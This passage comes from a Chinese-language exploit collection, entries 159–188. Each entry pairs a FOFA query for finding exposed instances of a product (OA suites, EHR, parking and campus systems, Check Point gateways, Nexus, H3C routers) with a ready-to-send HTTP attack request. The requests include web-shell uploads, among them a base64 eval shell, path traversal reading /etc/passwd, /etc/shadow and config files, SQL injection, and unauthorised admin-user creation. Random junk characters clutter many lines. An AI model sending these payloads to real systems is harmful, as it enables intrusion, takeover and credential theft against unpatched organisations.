0 |1 Z* ^3 {, a' g2 QAccept-Encoding: gzip, deflate
Connection: close
; S9 ~* D4 d  b4 d& ?% hContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
8 T! [5 k, A! K1 [9 L3 z, r  O6 B4 _
4 |6 J7 }( V, t: C' I5 M<?xml version="1.0" encoding="utf-8"?>
( ^. J9 p# N8 l% K+ b<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
7 t- Q6 y7 y7 S) X<soap:Body>
6 a- P7 h5 |2 l' T8 A9 c<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
<subFolder></subFolder>
6 B. D0 n3 Q3 g" m$ D8 Y<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
</soap:Body>
4 r/ j) s, b; j6 _6 }9 ]0 E, G</soap:Envelope>

# w. ]5 A* S3 N; v- z6 R0 j4 v
/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

1 B- U( x% W# V7 w( H
3 g; o* U/ V4 b! q9 D; R8 G, Y8 C# d160. Sonatype Nexus Repository 3目录遍历与文件读取
" L$ [2 z9 \4 {CVE-2024-4956
6 I1 M; u9 @: C6 H, QFOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
2 l1 u9 \- L; n4 _5 ?1 P, w1 i; hHost: x.x.x.x
( Z4 e2 M* b2 j5 l/ tUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
5 Q$ F  C3 c8 q6 ~2 |" ^Accept: */*
* [1 Z  h8 B1 T/ xAccept-Language: en
5 B: h/ _' P. D5 f9 g/ v- S5 rAccept-Encoding: gzip
! J" s- p) E/ z0 ]2 I' i% `

  I. o, W, m; ]! V( C161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
) n+ [) P2 J) Q- nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
2 V9 r9 Q3 C7 {; vContent-Length: 445
, u5 ?4 h9 Q% I6 W0 @( ]  Q( ?( [Content-Type: text/xml
8 Q! d: z# e$ bAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
5 H! c) x2 D4 c1 Z5 P4 i<soap:Envelope xmlns:xsi="
, W- ?- g* w, f/ }2 Ahttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
* D; u- N4 O1 Pxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
$ r. S1 B* g; P0 K<UploadResume xmlns="http://tempuri.org/">
% ?* g6 H' M. j, N<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
/ e6 ?3 a9 T1 I4 z' I9 K* k- \; R<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
+ t2 v! [6 Y* s* i; q6 u<tag>3</tag>
</UploadResume>
</soap:Body>
</soap:Envelope>

* ]- X1 l' E' H
http://x.x.x.x/dizxdell.aspx

162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
( ]/ o, d$ a2 T* `( H1 j. CPOST /QH.aspx HTTP/1.1
Host: x.x.x.x
' P3 B% x, k: G$ O4 G  _- [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
# D5 ]* p$ _5 dConnection: close
1 s6 \8 y  s  `  L1 gContent-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip
( U* Y9 `% F" N0 a1 b0 S8 s4 B9 E
8 h$ I5 s$ i& }------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
, M) [: o9 X7 a$ w/ t: yContent-Type: application/octet-stream
; o  L" y& s% H# U% ^* U/ W$ M
, F7 u. D" W8 V# a+ l  j4 L7 O3 o<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

upload
------WebKitFormBoundaryeegvclmyurlotuey
* T9 S- O1 a6 |5 g% K8 A- cContent-Disposition: form-data; name="responderId"

ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"
3 r' h7 e+ `( r4 E1 p4 \) u9 j
* F9 b; C* T- S- W) |+ m/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
* D9 B" B$ k/ W; d; V6 L

. @) ?& Z# |0 i4 y7 }3 lhttp://x.x.x.x/opt/resources/kjuhitjgk.aspx

! q; K0 F! s9 i! Q8 d163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
6 R$ p; V: O. l- UHost: x.x.x.x
$ @9 w* p2 w# c$ D) h& uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 293
Accept: */*
7 M; ]( O6 ^  q" g% ^. x' jAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
. e4 \6 e5 [& C' X% D6 A' O
& t) P6 x  v7 D# B0 G------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"
" e2 F& S9 @3 N0 I- e
1.php
+ H' z7 X7 |4 {+ c------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg
( _8 q  v/ ^. N4 _
. ~+ h2 P' p, Y& f5 i6 }+ N5 {* trvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--
# @. }9 F4 U3 C$ i! O( m
  X8 e" p- m/ `
/ S/ X) Q; M0 \: s; F; f164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
2 x: r, K; n' x( G. u0 N: t) x% rHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
+ H' t) ?3 I  i0 W0 O5 e4 oContent-Length: 288
) t( e- i2 T- s0 W) {! h. @, vAccept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
$ B7 L" d0 _. l/ J# {! i1 E4 fAccept-Encoding: gzip

------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg

2 I$ O: d" w' v# }6 r4 K) d<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
! _: a; i9 m" s1 A7 D- }------dqdaieopnozbkapjacdbdthlvtlyl--


http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

3 d4 q' O0 F7 N. {( R165. OrangeHRM 3.3.3 SQL 注入
* G4 ~; m" o/ q. {7 B( U/ qCVE-2024-36428
FOFA: app="OrangeHRM-产品"
$ H! X, M) x5 Y) {. bURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
5 S6 I# Y9 B. }
; h1 ^( F1 b8 h; K) U) A
( y1 b+ |4 I: G8 w% N/ k$ \0 W9 _166. 中成科信票务管理平台SeatMapHandler SQL注入
1 u- k+ Z8 X" M3 B: B; mFOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
2 N$ ~: _$ b5 w) WHost:
' Y6 z4 `2 s0 c* s/ HPragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
) X7 X& W: K4 V6 v' _! \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ Y# _" @: a0 @/ o  t3 L6 IAccept-Encoding: gzip, deflate
  T( f! J/ P2 ]6 ~' w( }: W- d4 D- eAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
: c7 N5 n) V% M; OConnection: close
1 i; E: v/ K0 U" n+ fContent-Type: application/x-www-form-urlencoded
! a9 [- m6 h% jContent-Length: 89

/ G( C5 s) F  f9 Q* F: BMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

5 i$ ~! D' \& _7 c
167. 精益价值管理系统 DownLoad.aspx任意文件读取
( g4 a7 t" u9 u  u+ ^! }FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
9 [# d+ T* V/ _) I6 z* @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
  f2 |4 |7 B( A( X9 {) c' kAccept-Encoding: gzip, deflate
Accept: */*
; c% Y0 D  c) W0 E) HConnection: keep-alive
: @4 b/ M( I% w
* R# o: {( Y" y8 M0 e
168. 宏景EHR OutputCode 任意文件读取
1 o- r* X' `$ @# I8 H( C+ U7 p9 GFOFA：app="HJSOFT-HCM"
' p& J9 v4 |4 T# h6 wGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
* }; O. R) E5 i" D6 ~0 wHost: your-ip
0 L# n/ y  \" C- iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
! N4 g# L9 J+ j( y* @% [2 w" SContent-Type: application/x-www-form-urlencoded
Connection: close


! l9 l# f  m7 R! V6 Z
' r6 z+ I+ G+ f169. 宏景EHR downlawbase SQL注入
3 V( d! z& E5 K1 P. K9 ], DFOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
: R9 N& L/ d3 F, FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
. _8 I6 V4 _" p$ K, iAccept-Encoding: gzip, deflate
9 x( T/ x7 F. w0 x% W' u/ B/ }Connection: close


9 Q/ O  Z. S( S( j
& |0 i& x5 x; h( o+ Y170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
$ ^8 }, `3 q8 F4 C+ I& P. S( g
) u; k0 y% h$ M! n: ]( Kfilename=../webapps/ROOT/WEB-INF/web.xml

' _8 F, j$ V4 F9 C7 h
6 a4 D4 A' V+ g4 v8 `5 I171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
  O8 c1 |# X, ?: Y0 [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
0 u  B1 \1 B7 b9 eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
" j: L3 Q, C3 ]3 d! kConnection: close
, \8 V4 V: K) k) b: ~: H5 X% r
0 [- x/ C& O, T" {1 S: R; o
  p3 m# U) s9 D+ r) k- I
7 V# x8 n. u4 e" U172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
+ A5 D4 q$ d% V0 l1 K9 m0 M7 yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
# m. [" S! O- n1 c6 ]4 G: B) K0 [Accept: */*
Connection: keep-alive

( X% v. ]  V5 s8 T# f, f5 b: H

6 m' b2 p% F, Z+ V& p+ w+ n4 u173. Check Point 安全网关任意文件读取
CVE-2024-24919
+ T0 }1 Y8 a- f* E1 k; _0 K1 h. KFOFA：app="Check_Point-SSL-Network-Extender"
, _! M* _! B/ m0 t) {2 A4 {* J' cPOST /clients/MyCRL HTTP/1.1
Host: your-ip
1 a" F8 ]7 W/ O# Y/ i$ zContent-Type: application/x-www-form-urlencoded
$ r9 v$ n; z1 Q5 F% J8 U; }9 t
0 ~2 |, M( }4 _! F0 t9 c% ^) g! IaCSHELL/../../../../../../../etc/shadow

$ f. Y: ?# \$ v  N
2 B( D9 K. O7 P  J. [9 q
0 d5 X7 S6 N9 V$ ?. m174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
+ K1 ~: U6 P8 mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
7 W2 x% @9 E0 Y7 a. _0 J" G* \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- K* }/ U0 k  P$ RAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close


2 F6 p/ v# q9 C9 L+ b. O
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
& T1 E% t8 z9 S2 m, x$ A; {& S0 _GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
, q5 S$ l' ]; z, D0 MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
. \* `0 U" K+ m" S, P" a
3 `4 I, D' x# u8 r  D+ k- B
3 O$ a2 R6 ~9 \( m176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
6 G, ~0 D7 k* y' Q/ YPOST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
' L8 Z+ o: Z! X6 g& \" R9 @6 J+ A  UContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
$ M9 {9 R7 f/ [1 F/ W) iConnection: close
  }/ F8 i7 d  ?1 s5 o7 }2 E" H
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png
* }3 F+ X4 `1 j1 E
+ ^4 V, u1 h* s. f& ^" y  E<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
7 b. n2 E  b4 S& t0 V
7 W  Y1 D; |" u6 l
------WebKitFormBoundaryOKldnDPT--



177. H3C路由器敏感信息泄露
2 N( m4 F5 ?2 b2 q/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
9 r4 d7 w/ f: A1 u3 ?/ _; k/userLogin.asp/../actionpolicy_status/../M60.cfg
1 t1 Z* K5 ?9 g4 W9 |" M6 E/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
+ ?7 L% \0 ^/ {5 g- }$ x2 C! O/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
  z% G6 r2 X0 {# y6 Q, G  k5 l/ }/userLogin.asp/../actionpolicy_status/../ER5200.cfg
( [; a) S0 o8 {/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
. k' C! O! c8 E$ f/ c: L/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
3 [( q& |' b/ F/userLogin.asp/../actionpolicy_status/../ER3200.cfg
) g/ m2 P% x) s% {5 J3 n' ^1 B/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
& E+ R* g. i- e7 @9 t/ u/ a" a/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
- a6 b' Q4 Z" k/userLogin.asp/../actionpolicy_status/../ER3100.cfg
6 Q6 F* A% M2 o+ O' P  @- m/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg


178. H3C校园网自助服务系统-flexfileupload-任意文件上传
9 [1 Z6 B) p. u/ JFOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
9 C: O$ F& x( B! v& lHost:
" y& @* l1 n, I4 h+ |, V- N, [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
Accept-Encoding: gzip, deflate
1 L9 L1 [- S- y, E& U; q1 v2 c0 JConnection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
Content-Length: 255
2 X3 \' }4 D! ?, N2 L
+ s2 M8 e0 L( z12234
7 }: Y1 A% x/ n: s$ v, j* T-----------------aqutkea7vvanpqy3rh2l--


GET /imc/primepush/%2e%2e/flex/12234.txt
2 f* g8 p6 a6 _+ k9 Q3 V! @. ^
. S+ C5 l" h2 y+ c1 L. p) W
179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
! T) S9 r& Q& [User-Agent: Mozilla/5.0

path=../log4net.config&Name=

2 w* Z: [  x/ S% f
180. 帮管客 CRM jiliyu SQL注入
# A. n5 U0 a8 W/ |/ ZFOFA：app="帮管客-CRM"
  `: s1 a: u: y6 K% z. Y* D) w' D- wGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
1 {" j; g: G1 f! vHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: D- u6 G3 _: A  Y! ]1 L8 s( iAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
$ ^7 r5 b$ Q2 I# t$ ^1 NConnection: close
! D, u6 R* o( Y/ S
4 U& U+ d4 R8 G
181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
$ o" a/ B, n" T0 J( s4 u* `' `FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) J2 `$ C7 n4 r* M  bAccept-Encoding: gzip, deflate, br
! H- k: {$ r  e6 f; v  cAccept-Language: zh-CN,zh;q=0.9
& ]# i2 v/ E9 K5 n( BConnection: close
Content-Type: application/x-www-form-urlencoded
8 X$ i# p0 _/ g" O4 R
& u7 M6 P9 {7 K9 L: q) j& t6 Q
/ p8 y) m5 S6 w! gaction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
- u2 q, }* f8 J7 h$ ~) U

! D2 ^2 P6 t1 P' i182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
. |. k1 N, U2 QPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
. v8 N$ z% U6 Q9 @Host: your-ip
+ I+ {1 b" r5 U0 W& |0 pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
, Q0 H' A; S6 f+ H# s: M3 E. m) FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
/ g4 P1 Q  |. F8 p" N9 vAccept-Language: zh-CN,zh;q=0.9
8 E% ~) [% r. C: C5 i- xConnection: close
Content-Type: application/x-www-form-urlencoded


username=test1234&pwd=test1234&savedays=1
" G8 a8 f& n# v9 `& n
5 Z" w, l0 n! d5 x) B
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
. o/ }, S5 |$ ^* gFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
2 v5 I! C, M5 r% f$ \8 m  }User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
) r+ A* `& V. }. X( uConnection: close
# C; |! D: U1 D+ i) D
5 A- ]4 e0 s( r4 i/ k
- K# L( M  W4 u8 V- a7 S0 Y184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
$ Z* n9 q3 m1 U" z1 C# U, LFOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
  }4 N0 a4 M. l" FAccept: application/xml, text/xml, */*; q=0.01
# {8 S, r$ n* Z$ l$ e7 ZContent-Type: text/xml; charset=utf-8
# E: o0 E  _0 B5 Q: fAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& A  d3 T- |$ WX-Requested-With: XMLHttpRequest
( i% ]& h8 w  _; F- i2 t) ]

insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
6 ]' w+ n2 y" ^2 x3 F) I# z1 s
- `( y2 D& D7 b# ^* S; J
185. 瑞友天翼应用虚拟化系统SQL注入
& L0 k+ x; ^- ?6 s4 f, {version < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
: s1 N: d- K0 Y0 t: D# ]GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
4 B; D! m+ l' ?' g, |- pHost: host
% p% U  }" B# _+ W7 U& M5 g  C

186. F-logic DataCube3 SQL注入
! z# Z& X& d; k% s( a& uCVE-2024-31750
' J) t2 F# ~! \, a3 \) K) GF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
0 f8 Z0 N. h8 y2 BPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
$ J5 f, d: D/ A" i8 AHost: your-ip
, J; e. ^* V  M7 m1 a2 I5 y% KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
. b1 Y9 {6 k& s8 [- uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 u  f& O! ?% a+ _- S6 F! KAccept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded

req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


# n5 w$ t- E2 m( M3 B187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
( W. ]* \3 j. ^

object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
1 q# W# D, q0 K- o  E
- L; c0 Z/ h) M% u0 T
188. 叁体-佳会视频会议 attachment 任意文件读取
9 H6 G& E4 f3 Yversion <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
- ^0 l+ b9 k  d9 d; m7 u9 Q2 wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
